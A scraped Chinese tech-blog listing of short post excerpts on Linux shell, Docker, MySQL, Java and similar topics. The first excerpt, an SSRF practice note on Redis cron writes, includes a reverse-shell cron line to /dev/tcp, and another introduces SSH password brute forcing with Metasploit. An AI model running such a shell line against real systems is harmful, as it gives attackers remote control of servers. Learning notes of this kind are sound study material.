- ssrf做题随记--任务计划的写入、csrf简单知识
板栗妖怪
小记随笔学习
目录ssrfcsrfssrf这里忘记写文档了,然后再次搭建环境一直成功不了所以这里以文字的方式记录一些要注意的点。redis在低版本下没有降权然后执行的时候是以root权限执行,到了高版本以后就不行了redis被降权了,且如果是高版本稳定版的话是没有办法写入也就是更加安全*****/bin/bash-i>&/dev/tcp/192.168.0.106/77770>&1centos写入任务计划是很正
- linux terminal文件查找
xidianhuihui
maclinuxchrome运维
以下所有命令仅仅只做常见用法的介绍,不做详细的参数介绍如需详细介绍,可到https://man.linuxde.net查阅以下的显示结果均为使用oh-my-zsh的显示结果,如果是使用bash可能略有差异注意:zsh默认情况下不支持*通配符匹配,需要在~/.zshrc中添加setoptnonomatch即可。1.whichwhich命令用于查找并显示给定命令的绝对路径,环境变量PATH中保存了查找
- Shell处理Json数据
promise524
jsonpythonlinuxbash
在Shell中处理复杂的JSON数据,一般有以下三种方式:jq:jq是一款强大的JSON处理工具,支持过滤、修改、重组和生成JSON数据。Python:使用Python来处理复杂的JSON数据。结合了Shell脚本的便利性和Python处理JSON的强大能力grep/sed/awk:在无其他工具的情况下使用grep/sed/awk等(不推荐)一、基于jq处理JSON如果未安装jq,会提示如下错误-
- Linux Shell脚本入门:参数符号$0,$1,$#,$@,$$与模式替换符^^,,的实用手册
promise524
linux运维shellbash后端
在Linux中,$0、$1、$#、$@、$*、$?、$$等符号在shell脚本中经常使用,它们用于处理脚本参数、变量和状态。此外,^^、,,是模式替换符,用于修改字符串大小写。还有很多其他的选项和表达式可以用于控制脚本的行为。1.位置参数变量$0:当前脚本或命令的名称。echo"Scriptname:$0"$1至$9:传递给脚本的第一个到第九个参数。echo"Firstparameter:$1"e
- armbian 安装docker
itmanll
docker容器运维
aptlist--installed|grepdocker查看已安装的docker,用aptremove程序名卸载apt-getremovedocker-ce-cli卸载后在安装curl-fsSLhttps://get.docker.com|bash-sdocker–mirrorAliyundockerdocker-vDockerversion25.0.2,build29cf629
- docker3
疯癫的小珍呐
linux
数据持久化线上考试系统部署1.部署前端服务器1.#将资源上传到服务器scp-rdist/
[email protected]:~2.#创建基础容器,在服务器上systemctlstartdocker.servicedockerpullcentosdockerrun-it--namec0centos:latest/bin/bash3.#在容器中修改yum源rm-rf/etc/yum.repos.d/*
- docker4
疯癫的小珍呐
linux
1、根据镜像创建容器docker-it--namec0centos:latest/bin/bash安装应用ctrl+p+qdockerexport-ocentos.tarc0dockerimport-m"山不像我走来,我便向山走去"centos.tarcentos:httpddockercommitc0centos:v2一、dockerfile应用在Dockerfile中定义所需要执行的指令,使用
- mysql批量导出多个数据库_利用脚本批量导出数据库数据
weixin_39621235
mysql批量导出多个数据库
一环境说明:我有100多台机器,需要去每台机器上面的数据库导出对应的数据,并且需要传两个参数服务器ip和数据库id,导出来之后,再把所有的文件合成一个excle文件二实现过程:1首先自己整理一份ip对应id的文件,例如:`3070c023c4294c6faff627467a2ba8b058.116.1.1`2写一个导出数据的脚本#!/bin/baship=$1id=$2mysql-uedu_pla
- 实训day37(8.27)
Tʀᴜsᴛ⁴¹⁷487
linux
一、dockerfile应用[root@docker~]#mkdirhttp0[root@docker~]#cdhttp0/[root@dockerhttp0]#vimabc.sh[root@dockerhttp0]#lsabc.sh[root@dockerhttp0]#vimabc.sh#!/bin/bashrm-rf/run/*httpd*exec/sbin/httpd-DFOREGROUND
- Scrapy入门学习
晚睡早起₍˄·͈༝·͈˄*₎◞ ̑̑
Pythonscrapy学习python开发语言笔记
文章目录Scrapy一.Scrapy简介二.Scrapy的安装1.进入项目所在目录2.安装软件包Scrapy3.验证是否安装成功三.Scrapy的基础使用1.创建项目2.在tutorial/spiders目录下创建保存爬虫代码的项目文件3.运行爬虫4.利用css选择器+ScrapyShell提取数据例如:Scrapy一.Scrapy简介Scrapy是一个用于抓取网站和提取结构化数据的应用程序框架,
- bash 笔记
waterHBO
bash笔记
这一篇的内容,太乱了。以后再整理:把熟悉的内容删掉。不熟悉的内容放到前面。#bash:exportHOME=$PWDexportPS1="$"更简短把home把当前目录设置为home,目的是缩短命令提示符前面的内容。看起来更简短。zcatlabevents.csv.gz|awk-F',''($5==50912||$5==50971||$5==50983||$5==50902||$5==50882|
- ROS常用命令
火山大兄
ROS机器人
一、ROS1、ROSShell命令roscd-移动到指定的ROS功能包目录rosls-显示ROS功能包的文件与目录rosed-编辑ROS功能包的文件roscp-复制ROS功能包的文件rospd-添加目录至ROS目录索引rosd-显示ROS目录索引中的目录具体使用(只介绍常见使用):roscd[功能包名称]。使用它,无需再使用cd一层层到查找,进入功能包里rosls[功能包名称]。等价与roscd+
- centos安装mysql 5.7版本
天狼1222
虚拟机centosmysqllinux
因为要继续第二阶段的学习,windows里面的mysql版本,很多设置没有。因此弄了一个虚拟机,安装了centos,在里面安装mysql。看了《centos安装mysql5.7版本》里面有设置my.cnf文件,这个在虚拟机里面编辑,手动敲就比较麻烦,因此使用xshell进行连接,可以直接复制就比较方便。处理1,安装xshell官网就可以下载使用免费版本的2,设置虚拟机的ip《VMware设置ip》
- gitignore 不起作用
smartjiang
当前项目的根路径下右键启动gitbash执行以下命令即可有时候,.gitignore会对部分文件/文件夹失效,大概原因是由于新创建的文件已经出现在git本地仓库的缓存,所以.gitignore就失效了解决办法就是清空一下git仓库的缓存,重新提交一次就好了gitrm-r--cached.gitadd.gitcommit-m'update.gitignore'
- Shell编程条件语句:条件测试操作、if语句、case语句
shyuu_
linux服务器运维云计算运维开发unix
文章目录条件测试操作文件测试整数值比较字符串比较逻辑测试单双中括号综合示例:检测指定IP地址或主机是否在线if语句单分支`if`语句双分支`if`语句多分支`if`语句双小括号case语句条件测试操作Shell环境通过命令执行后的返回状态值($?)来判断是否执行成功。当返回值为0(真,true)时表示成功,返回值为非0值(假,false)时表示失败或异常。test命令可以对特定条件进行测试,并根据
- 自动屏蔽登录失败3次以上的用户再登录系统
巭犇
shelllinux
前言暴露在公网上Linux经常会有人暴力破解linux上的用户,通过以下脚本实现屏蔽通过密码登录linux失败超过三次的ip地址再次登录系统脚本源码/root/secure.sh#!/bin/bash#定义变量LOG_FILE="/var/log/secure"INTERVAL=600#检测间隔,单位为秒THRESHOLD=3#登录失败次数阈值#定义函数用于屏蔽IP地址block_ip(){ip=
- linux下shell脚本语法4【IF流程语句】
注水猪肉
【if单语句格式】if[-erun.sh]thenecho"存在"elseecho"不存在"fi【if多条件语句格式】if[-erun.sh]thenecho"存在"elifthenecho"不存在"elseecho"注水猪肉的猫"fi
- ipython快捷键
渔家傲_俞
搜索ipython快捷键参考:https://blog.csdn.net/lb245557472/article/details/80078882Ipythonshell命令Ctrl-P或上箭头键后向搜索命令历史中以当前输入的文本开头的命令Ctrl-N或下箭头键前向搜索命令历史中以当前输入的文本开头的命令Ctrl-R按行读取的反向历史搜索(部分匹配)Ctrl-Shift-v从剪贴板粘贴文本Ctrl
- kubeadm部署k8s1.25.3一主二从集群(Containerd)
陌殇殇殇
kubernetes容器云原生
第一章:K8S集群部署kubernetes集群规划主机IP主机名主机配置角色10.0.0.3master12C/4G管理节点10.0.0.4node12C/4G工作节点10.0.0.5node22C/4G工作节点集群前期环境准备#!/bin/bashecho"——>>>关闭防火墙与SELinux/dev/nullsetenforce0sed-i's/SELINUX=enforcing/SELINU
- J-Linux&Shell-W12 进程及其管理(上)
Monyan
Linuxlinuxcentos运维
J-Linux&Shell-W12进程及其管理(上)一、判断题终止进程的命令可以用kill。(√)ps命令列出当前的进程,以及它们的树状结构。(×)linux系统上所有运行的东西都可以称之为一个线程。(×)nice命令是用来给程序点赞的。(×)二、单项选择题下列不属于进程基本状态的是(C)A.运行态B.就绪态C.终止态D.阻塞态可以动态查询当前系统进程情况的命令是(B)A.psB.topC.nic
- Linux&Shell作业题-1
Monyan
Linuxlinux操作系统shell
J-Linux&Shell-W1Linux基础知识(共10分)一、判断题(共4题,每题0.25分)软件是与数据处理系统操作有关的计算机程序和相关数据等的总称。(√)操作系统是裸机之上的第一层软件,与硬件关系尤为密切。(√)hda表示电脑内串口硬盘的第一块硬盘。(×)任何分区表都只支持最多4个主分区。(×)二、单项选择题(共3题,每题0.5分)下列不属于操作系统类型的是(B)A.批处理系统B.模拟系
- O-Linux&Shell-W2
Monyan
Linux
O-Linux&Shell-W2Linux系统基本配置(共10分)一、操作题(每题1分,共10分)使用root用户登录系统。使用ls/etc命令查看sudoers的权限情况。(2分)使用chmodu+wsudoers命令将sudoers文件修改为可写。(2分)使用vi/etc/sudoers命令对sudoers进行修改,将自己名字的普通用户加入到sudoers白名单中,保存退出。(2分)切换用户到
- O-Linux&Shell-W3
Monyan
Linuxlinux
O-Linux&Shell-W3Linux系统管理(共10分)一、操作题(每题1分,共10分)1、新建一个用户sam,将用户的主目录设置到/usr/sam目录。2、新建一个用户gem,将用户的登录Shell设置为/bin/sh,用户组(源生组)设置为group,附加组(衍生组)设置为adm和root。3、调整sam用户,主目录改为/home/z,用户组改为developer。4、设置sam用户的密
- 渗透测试-metasploit-ssh弱口令暴力破解
dongxieaitonglao
网络安全渗透测试ssh
一.ssh:SSH为SecureShell的缩写,SSH为建立在应用层基础上的安全协议。SSH是较可靠,专为远程登录会话和其他网络服务提供安全性的协议。利用SSH协议可以有效防止远程管理过程中的信息泄露问题。SSH最初是UNIX系统上的一个程序,后来又迅速扩展到其他操作平台。SSH在正确使用时可弥补网络中的漏洞。传统的网络服务程序,如:ftp、pop和telnet在本质上都是不安全的,因为它们在网
- Mac brew安装docker配置加速文件
垣宇
macosdocker容器运维
HomeBrew安装科大源安装$/bin/bash-c"$(curl-fsSLhttps://gitee.com/ineo6/homebrew-install/raw/master/install.sh)"卸载$/bin/bash-c"$(curl-fsSLhttps://gitee.com/ineo6/homebrew-install/raw/master/uninstall.sh)"相关命令安
- ubuntu20.04 ros安装
蓝羽飞鸟
ROSubuntu人工智能ros
conda安装参考此文,最后问是否需要运行condainit时,选yes。不然就要自己运行condainit如果已经装了anaconda,为了防止python版本冲突,要作以下修改在~/.bashrc的condasetup下面加上condadeactivate,如下unset__conda_setupcondadeactivate#添加#/etc/apt/sources.list.d/ros-la
- shell: 脚本获取ssh 端口号
千码君2016
linux进阶学习ssh服务器运维
s_p=`cat/etc/ssh/sshd_config|grepPort|grep22|tail-1`p=${s_p/"Port"/""}echop
- 使用 ASP.NET Core 控制器创建 Web API
MSE-STAR-CVHERO
.net学习asp.net前端后端
使用支持创建、读取、更新、删除(CRUD)操作的ASP.NETCore控制器创建RESTful服务。学习目标在本模块中,你将:使用ASP.NETCore控制器创建WebAPI项目。创建用于保存产品的内存数据库。添加对CRUD操作的支持。从命令shell测试WebAPI操作方法。介绍本模块介绍如何将ASP.NETCoreWebAPI控制器与.NET和C#结合使用来创建跨平台RESTful服务。本模块
- Shell编程规范与变量:详解环境变量、位置变量与预定义变量
shyuu_
网络运维服务器云计算centoslinuxunix
文章目录环境变量、位置变量与预定义变量环境变量位置变量(PositionalVariables)预定义变量(和双引号的用法)环境变量、位置变量与预定义变量环境变量由系统维护,用于设置工作环境、配置系统行为、传递信息和控制程序的执行。系统级环境变量:这些变量对整个操作系统及其所有用户都是可见的。例如,PATH变量存储了操作系统查找可执行文件的路径列表。用户级环境变量:这些变量只对当前用户可见。每个用
- Shell编程规范与变量:Shell编程前的必要基础知识
shyuu_
服务器linux云计算运维运维开发
文章目录1.查看进程的父子关系**1.1使用`ps-ef--forest`****1.2子Shell与进程关系**2.子Shell的概念与应用**2.1子Shell的概念****2.2多进程并行处理任务**3.`source`命令与子Shell的区别**3.1`source`命令****3.2子Shell的区别**4.重定向操作**4.1标准输入/输出/错误流与设备****4.2常见重定向操作**
- Linux的Initrd机制
被触发
linux
Linux 的 initrd 技术是一个非常普遍使用的机制,linux2.6 内核的 initrd 的文件格式由原来的文件系统镜像文件转变成了 cpio 格式,变化不仅反映在文件格式上, linux 内核对这两种格式的 initrd 的处理有着截然的不同。本文首先介绍了什么是 initrd 技术,然后分别介绍了 Linux2.4 内核和 2.6 内核的 initrd 的处理流程。最后通过对 Lin
- maven本地仓库路径修改
bitcarter
maven
默认maven本地仓库路径:C:\Users\Administrator\.m2
修改maven本地仓库路径方法:
1.打开E:\maven\apache-maven-2.2.1\conf\settings.xml
2.找到
 
- XSD和XML中的命名空间
darrenzhu
xmlxsdschemanamespace命名空间
http://www.360doc.com/content/12/0418/10/9437165_204585479.shtml
http://blog.csdn.net/wanghuan203/article/details/9203621
http://blog.csdn.net/wanghuan203/article/details/9204337
http://www.cn
- Java 求素数运算
周凡杨
java算法素数
网络上对求素数之解数不胜数,我在此总结归纳一下,同时对一些编码,加以改进,效率有成倍热提高。
第一种:
原理: 6N(+-)1法 任何一个自然数,总可以表示成为如下的形式之一: 6N,6N+1,6N+2,6N+3,6N+4,6N+5 (N=0,1,2,…)
- java 单例模式
g21121
java
想必单例模式大家都不会陌生,有如下两种方式来实现单例模式:
class Singleton {
private static Singleton instance=new Singleton();
private Singleton(){}
static Singleton getInstance() {
return instance;
}
- Linux下Mysql源码安装
510888780
mysql
1.假设已经有mysql-5.6.23-linux-glibc2.5-x86_64.tar.gz
(1)创建mysql的安装目录及数据库存放目录
解压缩下载的源码包,目录结构,特殊指定的目录除外:
- 32位和64位操作系统
墙头上一根草
32位和64位操作系统
32位和64位操作系统是指:CPU一次处理数据的能力是32位还是64位。现在市场上的CPU一般都是64位的,但是这些CPU并不是真正意义上的64 位CPU,里面依然保留了大部分32位的技术,只是进行了部分64位的改进。32位和64位的区别还涉及了内存的寻址方面,32位系统的最大寻址空间是2 的32次方= 4294967296(bit)= 4(GB)左右,而64位系统的最大寻址空间的寻址空间则达到了
- 我的spring学习笔记10-轻量级_Spring框架
aijuans
Spring 3
一、问题提问:
→ 请简单介绍一下什么是轻量级?
轻量级(Leightweight)是相对于一些重量级的容器来说的,比如Spring的核心是一个轻量级的容器,Spring的核心包在文件容量上只有不到1M大小,使用Spring核心包所需要的资源也是很少的,您甚至可以在小型设备中使用Spring。
 
- mongodb 环境搭建及简单CURD
antlove
WebInstallcurdNoSQLmongo
一 搭建mongodb环境
1. 在mongo官网下载mongodb
2. 在本地创建目录 "D:\Program Files\mongodb-win32-i386-2.6.4\data\db"
3. 运行mongodb服务 [mongod.exe --dbpath "D:\Program Files\mongodb-win32-i386-2.6.4\data\
- 数据字典和动态视图
百合不是茶
oracle数据字典动态视图系统和对象权限
数据字典(data dictionary)是 Oracle 数据库的一个重要组成部分,这是一组用于记录数据库信息的只读(read-only)表。随着数据库的启动而启动,数据库关闭时数据字典也关闭 数据字典中包含
数据库中所有方案对象(schema object)的定义(包括表,视图,索引,簇,同义词,序列,过程,函数,包,触发器等等)
数据库为一
- 多线程编程一般规则
bijian1013
javathread多线程java多线程
如果两个工两个以上的线程都修改一个对象,那么把执行修改的方法定义为被同步的,如果对象更新影响到只读方法,那么只读方法也要定义成同步的。
不要滥用同步。如果在一个对象内的不同的方法访问的不是同一个数据,就不要将方法设置为synchronized的。
- 将文件或目录拷贝到另一个Linux系统的命令scp
bijian1013
linuxunixscp
一.功能说明 scp就是security copy,用于将文件或者目录从一个Linux系统拷贝到另一个Linux系统下。scp传输数据用的是SSH协议,保证了数据传输的安全,其格式如下: scp 远程用户名@IP地址:文件的绝对路径
- 【持久化框架MyBatis3五】MyBatis3一对多关联查询
bit1129
Mybatis3
以教员和课程为例介绍一对多关联关系,在这里认为一个教员可以叫多门课程,而一门课程只有1个教员教,这种关系在实际中不太常见,通过教员和课程是多对多的关系。
示例数据:
地址表:
CREATE TABLE ADDRESSES
(
ADDR_ID INT(11) NOT NULL AUTO_INCREMENT,
STREET VAR
- cookie状态判断引发的查找问题
bitcarter
formcgi
先说一下我们的业务背景:
1.前台将图片和文本通过form表单提交到后台,图片我们都做了base64的编码,并且前台图片进行了压缩
2.form中action是一个cgi服务
3.后台cgi服务同时供PC,H5,APP
4.后台cgi中调用公共的cookie状态判断方法(公共的,大家都用,几年了没有问题)
问题:(折腾两天。。。。)
1.PC端cgi服务正常调用,cookie判断没
- 通过Nginx,Tomcat访问日志(access log)记录请求耗时
ronin47
一、Nginx通过$upstream_response_time $request_time统计请求和后台服务响应时间
nginx.conf使用配置方式:
log_format main '$remote_addr - $remote_user [$time_local] "$request" ''$status $body_bytes_sent "$http_r
- java-67- n个骰子的点数。 把n个骰子扔在地上,所有骰子朝上一面的点数之和为S。输入n,打印出S的所有可能的值出现的概率。
bylijinnan
java
public class ProbabilityOfDice {
/**
* Q67 n个骰子的点数
* 把n个骰子扔在地上,所有骰子朝上一面的点数之和为S。输入n,打印出S的所有可能的值出现的概率。
* 在以下求解过程中,我们把骰子看作是有序的。
* 例如当n=2时,我们认为(1,2)和(2,1)是两种不同的情况
*/
private stati
- 看别人的博客,觉得心情很好
Cb123456
博客心情
以为写博客,就是总结,就和日记一样吧,同时也在督促自己。今天看了好长时间博客:
职业规划:
http://www.iteye.com/blogs/subjects/zhiyeguihua
android学习:
1.http://byandby.i
- [JWFD开源工作流]尝试用原生代码引擎实现循环反馈拓扑分析
comsci
工作流
我们已经不满足于仅仅跳跃一次,通过对引擎的升级,今天我测试了一下循环反馈模式,大概跑了200圈,引擎报一个溢出错误
在一个流程图的结束节点中嵌入一段方程,每次引擎运行到这个节点的时候,通过实时编译器GM模块,计算这个方程,计算结果与预设值进行比较,符合条件则跳跃到开始节点,继续新一轮拓扑分析,直到遇到
- JS常用的事件及方法
cwqcwqmax9
js
事件 描述
onactivate 当对象设置为活动元素时触发。
onafterupdate 当成功更新数据源对象中的关联对象后在数据绑定对象上触发。
onbeforeactivate 对象要被设置为当前元素前立即触发。
onbeforecut 当选中区从文档中删除之前在源对象触发。
onbeforedeactivate 在 activeElement 从当前对象变为父文档其它对象之前立即
- 正则表达式验证日期格式
dashuaifu
正则表达式IT其它java其它
正则表达式验证日期格式
function isDate(d){
var v = d.match(/^(\d{4})-(\d{1,2})-(\d{1,2})$/i);
if(!v) {
this.focus();
return false;
}
}
<input value="2000-8-8" onblu
- Yii CModel.rules() 方法 、validate预定义完整列表、以及说说验证
dcj3sjt126com
yii
public array rules () {return} array 要调用 validate() 时应用的有效性规则。 返回属性的有效性规则。声明验证规则,应重写此方法。 每个规则是数组具有以下结构:array('attribute list', 'validator name', 'on'=>'scenario name', ...validation
- UITextAttributeTextColor = deprecated in iOS 7.0
dcj3sjt126com
ios
In this lesson we used the key "UITextAttributeTextColor" to change the color of the UINavigationBar appearance to white. This prompts a warning "first deprecated in iOS 7.0."
Ins
- 判断一个数是质数的几种方法
EmmaZhao
Mathpython
质数也叫素数,是只能被1和它本身整除的正整数,最小的质数是2,目前发现的最大的质数是p=2^57885161-1【注1】。
判断一个数是质数的最简单的方法如下:
def isPrime1(n):
for i in range(2, n):
if n % i == 0:
return False
return True
但是在上面的方法中有一些冗余的计算,所以
- SpringSecurity工作原理小解读
坏我一锅粥
SpringSecurity
SecurityContextPersistenceFilter
ConcurrentSessionFilter
WebAsyncManagerIntegrationFilter
HeaderWriterFilter
CsrfFilter
LogoutFilter
Use
- JS实现自适应宽度的Tag切换
ini
JavaScripthtmlWebcsshtml5
效果体验:http://hovertree.com/texiao/js/3.htm
该效果使用纯JavaScript代码,实现TAB页切换效果,TAB标签根据内容自适应宽度,点击TAB标签切换内容页。
HTML文件代码:
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml"
- Hbase Rest API : 数据查询
kane_xie
RESThbase
hbase(hadoop)是用java编写的,有些语言(例如python)能够对它提供良好的支持,但也有很多语言使用起来并不是那么方便,比如c#只能通过thrift访问。Rest就能很好的解决这个问题。Hbase的org.apache.hadoop.hbase.rest包提供了rest接口,它内嵌了jetty作为servlet容器。
启动命令:./bin/hbase rest s
- JQuery实现鼠标拖动元素移动位置(源码+注释)
明子健
jqueryjs源码拖动鼠标
欢迎讨论指正!
print.html代码:
<!DOCTYPE html>
<html>
<head>
<meta http-equiv=Content-Type content="text/html;charset=utf-8">
<title>发票打印</title>
&l
- Postgresql 连表更新字段语法 update
qifeifei
PostgreSQL
下面这段sql本来目的是想更新条件下的数据,可是这段sql却更新了整个表的数据。sql如下:
UPDATE tops_visa.visa_order
SET op_audit_abort_pass_date = now()
FROM
tops_visa.visa_order as t1
INNER JOIN tops_visa.visa_visitor as t2
ON t1.
- 将redis,memcache结合使用的方案?
tcrct
rediscache
公司架构上使用了阿里云的服务,由于阿里的kvstore收费相当高,打算自建,自建后就需要自己维护,所以就有了一个想法,针对kvstore(redis)及ocs(memcache)的特点,想自己开发一个cache层,将需要用到list,set,map等redis方法的继续使用redis来完成,将整条记录放在memcache下,即findbyid,save等时就memcache,其它就对应使用redi
- 开发中遇到的诡异的bug
wudixiaotie
bug
今天我们服务器组遇到个问题:
我们的服务是从Kafka里面取出数据,然后把offset存储到ssdb中,每个topic和partition都对应ssdb中不同的key,服务启动之后,每次kafka数据更新我们这边收到消息,然后存储之后就发现ssdb的值偶尔是-2,这就奇怪了,最开始我们是在代码中打印存储的日志,发现没什么问题,后来去查看ssdb的日志,才发现里面每次set的时候都会对同一个key